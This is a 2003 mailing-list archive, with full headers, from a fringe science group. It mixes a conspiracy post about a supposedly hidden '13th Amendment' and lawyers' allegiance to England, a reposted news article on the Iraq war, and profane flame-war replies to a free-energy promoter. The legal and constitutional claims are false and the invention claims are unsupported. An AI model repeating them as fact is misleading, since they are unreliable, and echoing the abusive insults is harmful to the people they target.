Bar Association have the title "Esquire" after their name an are immune to prosecution except by the Bar Association., An institution that has its allegiance to England, Not America. The English Monarchy also favored the Financial institutions for their help and thus the Royal Title of Esquire is bestowed upon the heads of international banking. Legally then, neither Bankers nor Lawyers are citizens of the United States of America and cannot hold office. BUT, because the 13th Amendment was hiden and lied about, these traitors ARE in office in the United States, and have corrupted the constitution, and ARE corrupting the constitution without recourse of prosecution! The 22nd Amendment was a feeble attempt to limit the term over which these criminals could affect the constitution. But more importantly, these people are illegally operating and driving the US, to the benefit of the greedy. There is little we can do beyond advising our congressmen that the original 13th Amendment against Titles of Royalty, was indeed ratified by the final vote of Virginia following the revolutionary war, and asking them to stand in support of the LEGAL constitution when the time comes. This 22nd amendment needs to be struck down, and the original 13th needs to be brought out. It will be a nasty bit of business because the judges are Bar Members with allegiance to the English Crown, and they won't want to lose their power and position in the US. Many of them are receiving kick backs in cash, under the table, from the IRS, which is also an illegal operation in the US. It comes down to Congress doing battle against the Senate, to restore the US Constitution. cara Rick Monteverde wrote: > Oh, drama drama drama. It's funny how term limits are so popular in the US when your own guys *aren't* in power - having no term limits is "the next link in the chain to Imperator." Then as soon as they get in, ooh, wait, term limits are a bad idea, it would restrict democracy and prevent the people from voting for the folks they *really* want, etc. What goes around comes around. ;-) > > - RM > > > > >The next link in the chain to Imperator. > > > > > >Regards, > > > >R. van Spaandonk > > > >When you are counting the dead, remember who voted > >for the man that made it all possible. From vortexb-l-request@eskimo.com Fri Apr 25 20:48:58 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id UAA30644; Fri, 25 Apr 2003 20:47:50 -0700 Resent-Date: Fri, 25 Apr 2003 20:47:50 -0700 Message-ID: <12f501c30ba6$91454ae0$bc8e3a41@annamort> Reply-To: "Anna M*" From: "Anna M*" To: References: <0a3201c30a4f$6f582e50$bc8e3a41@annamort> Subject: Re: Repeal of 22nd Amendment Date: Fri, 25 Apr 2003 20:47:27 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id UAA30625 Resent-Message-ID: <"8LPLZ1.0.lU7.c5Wg-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1687 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 160 Yes, and situations are similar. The other King George was totally mad like this one. Britain as a result lost for ever its American colony, and now America will lose what it had won, which is American Constitution. Funny are the ways of fate! Anna ----- Original Message ----- From: "Robin van Spaandonk" To: Sent: Friday, April 25, 2003 4:43 PM Subject: Re: Repeal of 22nd Amendment > In reply to Anna M*'s message of Thu, 24 Apr 2003 03:50:14 -0700: > Hi, > [snip] > > >Repeal of 22nd Amendment removing the limitation on the number of terms an individual may serve as President > >April 2003. Www.globalresearch.ca > >The URL of this article is: http://globalresearch.ca/articles/HJC304A.html > [snip] > The next link in the chain to Imperator. > > > Regards, > > R. van Spaandonk > > When you are counting the dead, remember who voted > for the man that made it all possible. > From vortexb-l-request@eskimo.com Sat Apr 26 04:43:43 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id EAA20391; Sat, 26 Apr 2003 04:41:52 -0700 Resent-Date: Sat, 26 Apr 2003 04:41:52 -0700 Message-ID: <16fd01c30be8$ba4d4450$bc8e3a41@annamort> Reply-To: "Anna M*" From: "Anna M*" To: "MetaExistence" Subject: "We were not lying," said one official. "But it was just a matter of emphasis." Date: Sat, 26 Apr 2003 04:41:04 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id EAA20363 Resent-Message-ID: <"7pIvf.0.U-4.02dg-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1688 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 161 WH Official Admits WMD NOT Main Reason for Iraq War By John Cochran ABC News Friday 25 April 2003 White House Officials Say Privately the Sept. 11 Attacks Changed Everything W A S H I N G T O N, April 25 — To build its case for war with Iraq, the Bush administration argued that Saddam Hussein had weapons of mass destruction, but some officials now privately acknowledge the White House had another reason for war — a global show of American power and democracy. Officials inside government and advisers outside told ABCNEWS the administration emphasized the danger of Saddam's weapons to gain the legal justification for war from the United Nations and to stress the danger at home to Americans. "We were not lying," said one official. "But it was just a matter of emphasis." Officials now say they may not find hundreds of tons of mustard and nerve agents and maybe not thousands of liters of anthrax and other toxins. But U.S. forces will find some, they say. On Thursday, President Bush raised the possibility for the first time that any such Iraqi weapons were destroyed before or during the war. If weapons of mass destruction were not the primary reason for war, what was? Here's the answer officials and advisers gave ABCNEWS. The Sept. 11, 2001, attacks changed everything, including the Bush administration's thinking about the Middle East — and not just Saddam Hussein. Senior officials decided that unless action was taken, the Middle East would continue to be a breeding ground for terrorists. Officials feared that young Arabs, angry about their lives and without hope, would always looking for someone to hate — and that someone would always be Israel and the United States. Europeans thought the solution was to get a peace agreement between Israel and the Palestinians. But American officials felt a Middle East peace agreement would only be part of the solution. The Bush administration felt that a new start was needed in the Middle East and that Iraq was the place to show that it is democracy — not terrorism — that offers hope. Sending a Message Beyond that, the Bush administration decided it must flex muscle to show it would fight terrorism, not just here at home and not just in Afghanistan against the Taliban, but in the Middle East, where it was thriving. Officials deny that Bush was captured by the aggressive views of neo-conservatives. But Bush did agree with some of their thinking. "We made it very public that we thought that one consequence the president should draw from 9/11 is that it was unacceptable to sit back and let either terrorist groups or dictators developing weapons of mass destruction strike first at us," conservative commentator Bill Kristol said on ABCNEWS' Nightline in March. The Bush administration wanted to make a statement about its determination to fight terrorism. And officials acknowledge that Saddam had all the requirements to make him, from their standpoint, the perfect target. Other countries have such weapons, yet the United States did not go to war with them. And though Saddam oppressed and tortured his own people, other tyrants have done the same without incurring U.S. military action. Finally, Saddam had ties to terrorists — but so have several countries that the United States did not fight. But Saddam was guilty of all these things and he met another requirement as well — a prime location, in the heart of the Middle East, between Syria and Iran, two countries the United States wanted to send a message to. That message: If you collaborate with terrorists, you do so at your own peril. Officials said that even if Saddam had backed down and avoided war by admitting to having weapons of mass destruction, the world would have received the same message; Don't mess with the United States. Former CIA Director James Woolsey said on Nightline this week that although he believed Saddam was a serious threat and had dangerous weapons, going to war to prove a point was wrong. "I don't think you should go to war to set examples or send messages," Woolsey said. Get the transcript of the Woolsey interview. Sept. 11, 2001 But what if Sept. 11 had never happened? Would the United States have gone to war with Iraq? Administration officials and others say no, at least not now. The Bush administration could probably have lived with the threat of Saddam and might have gone after him eventually if, for example, the Iraqi leader had become more aggressive in pursuing a nuclear program or in sponsoring terrorism. But again, Sept. 11 changed all that. Listen closely, officials said, to what Bush was really saying to the American people before the war. "I hope they understand the lesson of September the 11th," Bush said on March 6. "The lesson is, is that we're vulnerable to attack, wherever it may occur, and we must take threats which gather overseas very seriously. We don't have to deal with them all militarily, but we have to deal with them." Has the war done what the officials ABCNEWS talked to wanted? It seems to have improved the behavior of the Syrians and maybe the Iranians, they said, although there is still concern that Iran will meddle in Iraq. And it may have even put some fear in the North Koreans, they added. Plus, they said it probably has helped the Middle East peace process. But will Iraq be the model that can persuade young Arabs there is more to life than hatred? Too early to know, they said. Their point: We are deeply worried about the Shiites. It will be a tragedy if radical, anti-American elements gain control in post-Saddam Iraq. One official said that in the end, history and the American people will judge the United States not by whether U.S. officials find canisters of poison gas or vials of some biological agent. History will judge the United States, the official said, by whether this war marked the beginning of the end for the terrorists who hate America. (In accordance with Title 17 U.S.C. Section 107, this material is distributed without profit to those who have expressed a prior interest in receiving the included information for research and educational purposes.) From vortexb-l-request@eskimo.com Sun May 4 10:58:53 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id KAA22037; Sun, 4 May 2003 10:57:20 -0700 Resent-Date: Sun, 4 May 2003 10:57:20 -0700 From: JCarey9622@aol.com Message-ID: <7f.36aa6588.2be6ac75@aol.com> Date: Sun, 4 May 2003 13:48:37 EDT Subject: Proper Conduct To: Gravity-Antigravity@yahoogroups.com CC: aleshan@ford.com, jcaste22@ford.com, richard.brekus@bmwna.com, pms@geet.com, jwbb3@earthlink.net, etimes@teleport.com, onlinenews@newscientist.com, patrickcadore@sterlingpublications.com, tventura6@attbi.com, alternativefuelvehicles@yahoogroups.com, carlton.speck@delphiauto.com, fuchs@ttc-usa.com, hermance@ttc-usa.com, scientificamerican@yahoogroups.com, michiokakusscienceforum@yahoogroups.com, popularscience@yahoogroups.com, alisha@intribe.net, tips@upi.com, geford@ucdavis.edu, editor@eintoday.com, eric@voicenet.com, phcap@msn.com, tcrampto@mcc.edu, droach@mcc.edu, ddoherty@kettering.edu, wizzard9@earthlink.net, vman@skylink.net, premierww@qwest.net, editor@infinite-energy.com, iri@erols.com, mike@ucsofa.com, fischer@ILP.mit.edu, adolf.schneider@datacomm.ch, john.boerger@cbcf-net.com, skyopen@yahoogroups.com, greenglow@yahoogroups.com, black-triangle@yahoogroups.com, all-energy@yahoogroups.com, esd@ecosustainable.com.au, eljarpro@alphalink.com.au, davdart@texas.net, albert.wiedemann@mchm.siemens.de, office@faraday.ru, editor@evworld.com, awea-wind-home@yahoogroups.com, free_energy@yahoogroups.com, vortexb-l@eskimo.com, peckfamily@mail.tds.net, pberardelli@upi.com, Browar57@aol.com MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="part1_7f.36aa6588.2be6ac75_boundary" X-Mailer: 7.0 for Windows sub 10634 Resent-Message-ID: <"Uxiz53.0.FO5.0ILj-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1689 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 162 --part1_7f.36aa6588.2be6ac75_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 5/4/03 10:16:49 AM Eastern Standard Time, jefiala@wt.net writes: > Good Day Group: > > As individuals involved in the pursuit of science we must consider that > we ourselves are scientists in one form or another. And as such we are far > above many others in not only the persist that we maintain, but also in our > conduct. We are wisdom seeking, self-controlled, academic, respectful and > humble people that know that we don't know it all otherwise we wouldn't > need to be studding and researching out the persist that we are all working > on. We also understand that some individuals are probably farther in these > persist than we ourselves and that there are some of us that may not be as > near to completing those persist as we ourselves. Therefore we will have an > unconditional respect and consideration for each-other no matter how > differing our views or the appearance of impossibility of the proposed > ideas or project, and this will occur without name calling, vulgarity or > the slamming of another's ideas or person. If something appears to be > amiss, then let us academically work through this with a respectful > explanation and full consideration as peers and discuss these issues until > the proper final solution presents itself. Remember that in science, > regardless of how many misperceptions on a given area may have been made > the truth and definition of a given area still remain the same. It is for > us to search this out for the common good of science. If we assist someone > in helping them through their ignorance we only enrich the resources that > we commonly share to solve the equations or creation. > REPLY That is a perfect guideline. The shame of our EDU. system and > our civilization and the prime reason we art not evolving, is that many > have only one attitude, Theirs. Which says only what they know is correct. > THAT is typical type 13 planet DOGMA thinking. The apparent no common sense, single minded generally combative, closed and narrow > minded boat anchor, road block causing, stone wall thinking dynamic does > not allow for new knowledge, To be attained and impedes progress. That is > necessary before evolution can occur. Simple deductive reasoning common > sense indicates that. But will be over come by great evolutionary, Quantum leap, science fiction level, futuristic > razor edge strides. That John was wise about and investigated with an open > mind, which is his prime motivation dynamic, that keeps his existence on > the correct path. That is his infinite curiosity driven wisdom that he > retained from his childhood. Most primarily the in the box ones had that > innovative dynamic programed out of them by age 7. For a reason that is > called control. The idiot > Respectfully > Your Moderator > John Fiala > --part1_7f.36aa6588.2be6ac75_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable In a message dated 5/4/03= 10:16:49 AM Eastern Standard Time, jefiala@wt.net writes:


Good Day Group:

    As indivi= duals involved in the pursuit of science we must consider that we ourselves=20= are scientists in one form or another. And as such we are far above many oth= ers in not only the persist that we maintain, but also in our conduct. We ar= e wisdom seeking, self-controlled, academic, respectful and humble people th= at know that we don't know it all otherwise we wouldn't need to be studding=20= and researching out the persist that we are all working on. We also understa= nd that some individuals are probably farther in these persist than we ourse= lves and that there are some of us that may not be as near to completing tho= se persist as we ourselves. Therefore we will have an unconditional respect=20= and consideration for each-other no matter how differing our views or the ap= pearance of impossibility of the proposed ideas or project, and this will oc= cur without name calling, vulgarity or the slamming of another's ideas or pe= rson. If something appears to be amiss, then let us academically work throug= h this with a respectful explanation and full consideration as peers and dis= cuss these issues until the proper final solution presents itself. Remember=20= that in science, regardless of how many misperceptions on a given area may h= ave been made the truth and definition of a given area still remain the same= . It is for us to search this out for the common good of science. If we assi= st someone in helping them through their ignorance we only enrich the resour= ces that we commonly share to solve the equations or creation.
     REPLY That is a perfect guideline. The shame of=20= our EDU. system and our civilization and  the prime reason we art not e= volving, is that many have only one attitude, Theirs. Which says only what t= hey know is correct.  THAT is typical type 13 planet DOGMA thinking.


   The apparent  no common sense, = ; single minded generally combative,  closed and narrow 
minded boat anchor, road block causing,  stone wall= thinking dynamic  does not allow for new knowledge, To be attained and= impedes  progress. That is necessary before  evolution can occur.= Simple deductive reasoning common sense indicates that.


   But will be over come by great evolution= ary, Quantum leap, science fiction level,  futuristic
razor edge  strides. That John was wise about and i= nvestigated with an open mind, which is  his prime motivation dynamic,=20= that keeps  his existence on the correct path. That is his infinite cur= iosity driven wisdom that he retained from his childhood.  Most primari= ly the in the box ones  had that innovative dynamic programed out of th= em by age 7. For a reason that is called control.  The idiot
Respectfully
Your Moderator
John Fiala


 --part1_7f.36aa6588.2be6ac75_boundary-- From vortexb-l-request@eskimo.com Sat Sep 13 20:04:47 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id UAA07238; Sat, 13 Sep 2003 20:03:45 -0700 Resent-Date: Sat, 13 Sep 2003 20:03:45 -0700 From: John Fields To: vortexb-l@eskimo.com Cc: altternative.fuelvehicles@mx1.eskimo.com, altternative.fuelvehicles@mx1.eskimo.com, @yahoogroups.com, PopularScience@yahoogroups.com Subject: Re: : PHASE CONVERSION IS PLAIN TO SEE Date: Sat, 13 Sep 2003 22:03:33 -0500 Organization: Austin Instruments, Inc. Message-ID: References: <1d0.10caedb8.2c950590@aol.com> In-Reply-To: <1d0.10caedb8.2c950590@aol.com> X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id UAA07209 Resent-Message-ID: <"tPfDu3.0.1n1.GgzO_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3749 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 163 On Sat, 13 Sep 2003 19:43:12 EDT, you wrote: ALL EE's and >> physicst are is arrogant elitest twerps they need to go because they impede >> progress I cannot stand wanna be demigods --- The idiot sat at the top of the hill with quill pen in hand and some pages to fill. But nothing would flow from the pen to the page but images showing his anger and rage. He wanted to write, but he didn't know how, so blamed all his woes on who he'd have to kow -tow to and Lord, how he hated them all... from physicists grand to technicians small. His quest wasn't one he could handle alone. "Reactance, resistance, tuned circuits?" He'd moan. "Who is this Maxwell, this Tesla", he'd say, (But just to him self not to give things away) He never explored, never wanted to see the beauty surrounding us, both you and me, but opted instead for a life of despair refuting the truth with naught but hot air. -- John Fields From vortexb-l-request@eskimo.com Wed Sep 17 07:11:37 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id HAA24080; Wed, 17 Sep 2003 07:10:47 -0700 Resent-Date: Wed, 17 Sep 2003 07:10:47 -0700 From: John Fields To: vortexb-l@eskimo.com Cc: alternativefuelvehicles@yahoogroups.com Subject: Re: THE PICTURE IS THIS Date: Wed, 17 Sep 2003 09:10:26 -0500 Organization: Austin Instruments, Inc. Message-ID: References: In-Reply-To: X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id HAA24011 Resent-Message-ID: <"1M_zX3.0.9u5.dj6Q_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3760 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 164 On Wed, 17 Sep 2003 08:03:30 EDT, you wrote: >> REPLY YOU NEED TO LEARN A BUSINESS LESSON THAT neither one of you >clowns grasp I have attended big league venture capital conferences in NYC, >Chicago and San FRAN I have been taken out dinner and did not pay any of the >350 bill for 5 Stayed will chairman of a hedge fund in his 6000 sq. ft home. >In CONN.. For discussion --- And none of it worked out, did it? And none of it ever will if you keep on with your crap the way you are now. The way you present yourself you must think you're dealing with amateurs. --- >the tech if real saves 600 to 800 billion in >upgrades to the power infrastructure this century in just the US. Plus I have no >competition --- I'd like to see how you, admittedly mathematically incompetent, arrived at those figures. The only reqason you have no competition is because is because no one else is trying the same grift you are. But, I've noticed lately that you are playing CYA by stating things like "if real" and "if as advertised" or something like that when you refer to your machinery. Do you have doubts that it will work? If you do you should have it tested by a reputable laboratory instead of wasting everyone's time with your wishful thinking. --- >He has done nothing but waste my time. In mails. And phone calls. from >Austrial by telling me I should do this or that. About a situation he knows nothing >about just like you two goof balls and assuming that Tell com will control >the tech. They have not purchased the premise as far as I know. How many have >technology on that level ZERO HOW many people have money everybody? HAVE >YOU CLOWNS GOT THE PICTURE? I DO NOT NEED HIM OR THEM THEY NEED ME GOT IT >NOW? --- No one needs you, Jack, and if you expect to sell whatever you have that you think is worth something, you're going to have to sell it to _someone_, so it's not like you don't need _anyone_. As far as your demo's go, do you expect someone to blithely hand over 100 million bucks on the strength of a one hour demo that you've cooked up? Would _you_ fork over 100 million on just the strength of a demo? If you would, then I guess that old saw about "a fool and his money are soon parted." is true. -- John Fields From vortexb-l-request@eskimo.com Wed Sep 17 07:38:23 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id HAA29469; Wed, 17 Sep 2003 07:36:54 -0700 Resent-Date: Wed, 17 Sep 2003 07:36:54 -0700 From: John Fields To: vortexb-l@eskimo.com Cc: adeon@alzimach.net Subject: Re: SMART BUSINESS Date: Wed, 17 Sep 2003 09:36:41 -0500 Organization: Austin Instruments, Inc. Message-ID: References: <11a.2840c72b.2c98fa04@aol.com> In-Reply-To: <11a.2840c72b.2c98fa04@aol.com> X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id HAA29405 Resent-Message-ID: <"VS0Fz1.0.IC7.667Q_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3761 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 165 On Tue, 16 Sep 2003 19:43:00 EDT, you wrote: >I already have >someone coming from there and he is no hassel as you are plus a world level >business type with real vision and cares less about how. only if. That is the >only type I will deal with PERIOD > >He is coming to the states for other reasons also. --- Don't you mean that he's coming to the US to conduct some _real_ business and then, since he'll already be here, he'll drop by and check you out? Let me make a prediction: You'll soon be bad-mouthing him because he decided not to play with a greedy amateur. --- >THIS is simple you are >shown a demo with two different units. One hour is all that required for >verification. NO tech. side discussions period or disclosure . I will not speak to >ENg's or physicsts unless they are on Tesla's level. --- With your admitted lack of even rudimentary scientific knowledge, how would you be able to discern between, say, Tesla and some kid who failed to get into a science fair? The truth is, you couldn't, so you refuse to talk science to anyone who's even slightly skilled because they'd immediately pin you for the incompetent you are and could lead you aywhere they wanted to. --- > only high end self taught electricans if necessary. --- Yeah, right. No one with any credentials, so hopefully you can play your smoke and mirrors games with them without getting caught. --- >Then at that point business is discussed. That has been discussed prior to my >departure with Andy the owner of the Tel Com only . Your not involved in the >discussions because you totally complacate every thing. Which is typitical in >the box Eng. thinking. but receive a finders fee if a deal is cut one percent >. That is one million dollars They only distribute and install. The will >own no part of the Tech. or Manuf. That can be done there. license fee for >Austrial and NZ is 100 million US if as advertised That is not negoatable Take >it or leave it If not have a wonderful day. Have you got the program ? Yes >or no --- Let me make another prediction: This "deal" will fall through just like all the rest have and will, and you'll be back here grousing about everyone else's lack of vision. -- John Fields From vortexb-l-request@eskimo.com Wed Sep 17 17:12:57 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id RAA17294; Wed, 17 Sep 2003 17:10:06 -0700 Resent-Date: Wed, 17 Sep 2003 17:10:06 -0700 From: John Fields To: vortexb-l@eskimo.com Subject: Re: MIS COMMUNICATION ? with the Univ. Of Michigan Date: Wed, 17 Sep 2003 19:09:49 -0500 Organization: Austin Instruments, Inc. Message-ID: <79thmv4fjd2kpsk5hprq7vk5af0nscgicq@4ax.com> References: In-Reply-To: X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id RAA17239 Resent-Message-ID: <"MSlx42.0.2E4.UVFQ_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3768 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 166 On Wed, 17 Sep 2003 19:49:13 EDT, you wrote: >In a message dated 9/17/03 4:19:36 PM Eastern Standard Time, janeej@umich.edu >writes: > > >> Dear Mr. Carey -- thank you for forwarding your e-mail to me. You >> mentioned that you talked with someone from our Research Office and were not happy >> with their response to you. The Office of the Vice President for Research >> speaks for the institution on matters such as this. The response you received >> from them is the response from the University. >> :jane malcolm --- Excellent! In a very nice and very thorough way she told you to go fuck yourself, you ignorant piece of shit. Dumped again, huh? And then, after a lot of inconsequential, badly written drivel you counter with the following: --- >> REPLY Jane lets see I remember now your the president of the >> Univ.'s secretary. I SPOKE to Dr. Ackerlof one of your top physicist about the >> possibility of the U Of M creating totally evolutionary. New theoretical >> electrical math equations that prove James Clerk Maxwell the British theorist >> in the 19 Th. Was remiss regarding his assumptions of the overall aspects of >> Michael Faraday's work. >> May I suggest If I was your school I would not send mail to me in the >> future that displays that no investigation beyond a mail attitude? Now naturally >> if I create a multi trillion corp. in Michigan. With fully operational vast >> technologies. The Uof M that was my favorite school will not benefit in >> anyway nor will I employ any of the students that graduate from there. Because >> they have displayed zero wisdom and poor judgmet which naturally would be >> instilled in the product you produce. --- I'm sure they're all quaking in their boots over the prospect of being ignored by a raving loon. More likely, they're _hoping_! -- John Fields From vortexb-l-request@eskimo.com Wed Sep 17 18:06:19 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id SAA17778; Wed, 17 Sep 2003 18:05:20 -0700 Resent-Date: Wed, 17 Sep 2003 18:05:20 -0700 From: John Fields To: vortexb-l@eskimo.com Cc: vortexb-l@eskimo.com Subject: Re: SMART BUSINESS Date: Wed, 17 Sep 2003 20:04:59 -0500 Organization: Austin Instruments, Inc. Message-ID: References: <28.3d82c29d.2c9a595a@aol.com> In-Reply-To: <28.3d82c29d.2c9a595a@aol.com> X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id SAA17717 Resent-Message-ID: <"wfHq12.0.jL4.GJGQ_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3771 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 167 On Wed, 17 Sep 2003 20:42:02 EDT, you wrote: >In a message dated 9/17/03 9:38:39 AM Eastern Standard Time, >jfields@austininstruments.com writes: > > >> On Tue, 16 Sep 2003 19:43:00 EDT, you wrote: >> REPLY YOUR THE REAL POSITIVE TYPE YOU JUST NOT WOTH IT YOU HAVE NO GUTS TO >> CALL YOU WOULD BE CRUSHED BY ME --- Crushed by you? A lightweight like you would have trouble crushing beer cans. From everything I've read from people who have talked with you, everything points to the fact that you're a know-nothing blowhard who is only interested in monopolizing the conversation and trying to force his viewpoint down everybody's throat, so it's not a question of guts, it's a question of why would anyone want to do that? If you have something you think is of value that you want to say to me, write it. If you can't, then learn how. If you can't do that, then tough shit. It doesn't make a fucking bit of difference to me one way or the other. -- John Fields From vortexb-l-request@eskimo.com Thu Sep 18 07:15:08 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id HAA31632; Thu, 18 Sep 2003 07:13:55 -0700 Resent-Date: Thu, 18 Sep 2003 07:13:55 -0700 From: John Fields To: vortexb-l@eskimo.com Cc: alternativefuelvehicles@yahoogroups.com Subject: Re: MIS COMMUNICATION ? with the Univ. Of Michigan Date: Thu, 18 Sep 2003 09:13:37 -0500 Organization: Austin Instruments, Inc. Message-ID: <35fjmv0v8n54smar5j9eid5ek86grdr2jp@4ax.com> References: <61.35217a2a.2c9a93da@aol.com> In-Reply-To: <61.35217a2a.2c9a93da@aol.com> X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id HAA31467 Resent-Message-ID: <"biiNk.0.sj7.YsRQ_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3776 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 168 On Thu, 18 Sep 2003 00:51:38 EDT, you wrote: >In a message dated 9/17/03 7:13:31 PM Eastern Standard Time, >jfields@austininstruments.com writes: > > >> I'm sure they're all quaking in their boots over the prospect of being >> ignored by a raving loon. More likely, they're _hoping_! >> >> REPLY YOUR ACCOMPLISHING ZERO EXCEPT ACTING AS AN ASS HOLE JERK OFF DICK >> HEAD TWERP DIP SHIT >> BUZZ THE FUCK OFF --- I'll do what I goddam well please, and if you don't like it you can kiss my ass, you fucking loser. -- John Fields From vortexb-l-request@eskimo.com Thu Sep 18 07:35:50 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id HAA14456; Thu, 18 Sep 2003 07:34:29 -0700 Resent-Date: Thu, 18 Sep 2003 07:34:29 -0700 From: John Fields To: vortexb-l@eskimo.com Cc: adeon@alzimach.net, alternativefuelvehicles@yahoogroups.com Subject: Re: I DEAL IN SIMPLE NOT COMPLACATED Date: Thu, 18 Sep 2003 09:34:10 -0500 Organization: Austin Instruments, Inc. Message-ID: References: <132.24a03106.2c9acdaa@aol.com> In-Reply-To: <132.24a03106.2c9acdaa@aol.com> X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id HAA14397 Resent-Message-ID: <"3Uy1d1.0.jX3.q9SQ_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3777 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 169 On Thu, 18 Sep 2003 04:58:18 EDT, you wrote: >In a message dated 9/17/03 7:33:02 PM Eastern Standard Time, >adeon@alzimach.net writes: > > >> REPLY YOU DEAL IN COMPLACATED SEEING FIRST hand by all party's >> involved on that end. if there is interest makes the most common sense you make >> zero sense to me Coming here making a tape for what you have one WE have had >> no problems in other situations. You just one of many No big deal if your >> not one > > I always have proplems with your types attempting to understand is >the least important unless your >> attempting to steal. That is the mistake tech types make that business >> types do not . UPFRONT NO one will grasp phase conversion. Unless they are >> on Tesla's level Bus. types They care less but tech's do not grasp >> business I have seen no business sense. I do not to have to hassle which is all you >> have been. I'm not a SCI I'm a business man you can not even get that >> correct. WHERE did you come up with the assumption your situatioin was going to >> have any control. WHERE do you types think you get off at. --- The question really is, where do _you_ get off thinking anyone's going to give you 100 million without some strings attached? Not the least one being conducting a proper demo and allowing tests to be performed by competent, disinterested parties. The fact is you have nothing to offer, but you've convinced yourself that you do and you can't stand the thought that you might be wrong because then that whole house of cards would come tumbling down around your ears. -- John Fields From vortexb-l-request@eskimo.com Thu Sep 18 07:49:06 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id HAA23142; Thu, 18 Sep 2003 07:47:40 -0700 Resent-Date: Thu, 18 Sep 2003 